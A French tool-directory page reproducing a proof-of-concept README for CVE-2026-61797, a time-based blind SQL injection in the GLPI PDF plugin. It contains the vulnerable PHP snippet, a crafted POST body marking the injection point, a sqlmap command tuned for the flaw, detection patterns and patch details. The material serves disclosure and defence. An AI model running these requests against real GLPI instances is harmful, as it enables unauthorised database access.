Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-61797 — Preuve de concept pour CVE-2026-61797, une injection SQL aveugle basée sur le temps dans le plugin PDF de GLPI, avec validation sqlmap et conseils de détection. | Kitploit
Outils/GitHubGitHub/itres-labs/cve-2026-61797
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubitres-labs/cve-2026-61797

CVE-2026-61797

Preuve de concept pour CVE-2026-61797, une injection SQL aveugle basée sur le temps dans le plugin PDF de GLPI, avec validation sqlmap et conseils de détection.

Voir le dépôt
120il y a 21 joursPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-61797 — Injection SQL aveugle basée sur le temps dans le plugin PDF de GLPI

Preuve de concept pour CVE-2026-61797, une vulnérabilité d'injection SQL aveugle basée sur le temps affectant le plugin PDF de GLPI.

La vulnérabilité peut être atteinte via :

/marketplace/pdf/front/preference.form.php

Dans l'implémentation vulnérable, les valeurs contrôlées par l'utilisateur provenant du tableau POST item sont insérées dans des requêtes SQL sans paramétrage approprié.

Un utilisateur GLPI authentifié à faibles privilèges peut exploiter ce comportement pour injecter des expressions SQL et déduire des informations de la base de données via le timing des réponses.


Vulnérabilité

ChampValeur
CVECVE-2026-61797
ProduitPlugin PDF de GLPI
Version testée4.1.2
Version corrigée4.1.3
VulnérabilitéInjection SQL aveugle basée sur le temps
AuthentificationRequise sur la branche 4.1.2 testée
Vecteur d'attaqueRéseau
Interaction utilisateurAucune
Base de donnéesMySQL
CVSS6.1 / 10
AvisGHSA-wwr3-v347-c64m

Le code vulnérable finit par placer la clé item contrôlée par l'attaquant dans le champ tabref d'une instruction SQL INSERT.

Conceptuellement, l'opération vulnérable ressemblait à :

foreach ($_POST['item'] as $key => $val) {
    $DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
        (`id`, `users_id`, `itemtype`, `tabref`)
        VALUES (
            NULL,
            '" . $_SESSION['glpiID'] . "',
            '" . $_POST['plugin_pdf_inventory_type'] . "',
            '$key'
        )");
}

Comme $key fait partie de l'instruction SQL, une clé de tableau forgée peut modifier la requête résultante.


Prérequis

Le PoC nécessite :

  • Une instance GLPI exécutant une version vulnérable du plugin PDF.
  • Une session GLPI authentifiée valide.
  • Un jeton CSRF valide.
  • sqlmap.
  • L'autorisation de tester la cible.

Le PoC a été validé contre PDF Plugin 4.1.2.


Preuve de concept

Capturez une requête légitime vers :

POST /marketplace/pdf/front/preference.form.php

et enregistrez-la sous :

glpi.sqli

Un corps de requête minimal adapté pour marquer le point d'injection est :

plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>

Le * indique à sqlmap quelle partie de la requête doit être testée.

Exemple de structure de requête :

POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>

plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>

Validation avec sqlmap

Exécutez :

sqlmap \
  -r glpi.sqli \
  --csrf-url "https://glpi.example.test/front/preference.php" \
  --csrf-token "_glpi_csrf_token" \
  --cookie "<VALID_GLPI_SESSION>" \
  --technique=T \
  --level=5 \
  --risk=1 \
  --batch

Une installation vulnérable devrait être identifiée comme acceptant une injection SQL aveugle basée sur le temps au niveau du point d'injection POST personnalisé.

La détection typique ressemble à :

Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind

La technique repose sur des délais MySQL conditionnels tels que SLEEP() pour déterminer si une condition injectée est évaluée comme vraie.

Ce dépôt limite intentionnellement le PoC documenté à la vérification de la vulnérabilité et ne fournit pas de commandes d'extraction de base de données ou d'identifiants.


Détails techniques

La requête vulnérable atteint :

plugins/pdf/front/preference.form.php

L'application traite des valeurs similaires à :

item[<USER_CONTROLLED_VALUE>]=1

PHP convertit cela en un tableau associatif, où l'attaquant contrôle la clé du tableau.

Cette clé est ensuite utilisée comme $key par le plugin et, dans la version vulnérable, est concaténée directement dans une instruction SQL.

Le flux de données résultant est effectivement :

HTTP POST
   |
   v
$_POST['item']
   |
   v
array key ($key)
   |
   v
SQL string concatenation
   |
   v
MySQL

Une charge utile basée sur le temps peut donc influencer l'expression SQL et faire délibérément retarder la réponse par la base de données lorsqu'une condition fournie est vraie.

Comme l'application ne renvoie pas directement les résultats de la requête SQL, l'exploitation est réalisée sous forme d'injection SQL aveugle.


Correctif

Le problème a été corrigé dans PDF Plugin 4.1.3.

Les opérations SQL brutes vulnérables ont été remplacées par des mécanismes de base de données/ORM plus sûrs et une logique d'autorisation supplémentaire.

Les utilisateurs doivent mettre à niveau vers :

PDF Plugin >= 4.1.3

ou une version prise en charge plus récente.


Détection

Les défenseurs peuvent souhaiter examiner les requêtes HTTP ciblant :

/marketplace/pdf/front/preference.form.php

avec des noms de paramètres item[...] inhabituels.

Les motifs particulièrement suspects incluent la syntaxe SQL ou les fonctions de délai temporel apparaissant à l'intérieur d'une clé de tableau, par exemple des références à :

SLEEP(
SELECT
AND
OR
||
'
"

Des requêtes POST répétées vers le point de terminaison suivies de délais de réponse constants de plusieurs secondes peuvent également indiquer des tentatives d'exploitation d'une injection SQL aveugle basée sur le temps.


Utilisation responsable

Cette preuve de concept est fournie exclusivement pour :

  • la recherche en sécurité ;
  • la vérification de vulnérabilités ;
  • les tests d'intrusion réalisés avec autorisation ;
  • la validation défensive ;
  • l'ingénierie de détection.

Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.

Les auteurs n'assument aucune responsabilité pour toute utilisation non autorisée ou illégale de ce matériel.


Crédits

Recherche sur la vulnérabilité et analyse technique originale :

ITRESIT Labs — Javier Medina

Recherche originale :

https://labs.itresit.es/2026/09/14/source-driven-recon-when-the-patch-becomes-the-poc-and-what-cve-2026-61797-taught-us-about-disclosure-opsec/

CVE :

CVE-2026-61797

Avis de sécurité GitHub :

GHSA-wwr3-v347-c64m

Avertissement

Ce dépôt est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.

Obtenez toujours une autorisation explicite avant de tester des systèmes que vous ne possédez pas.

Télécharger l’outil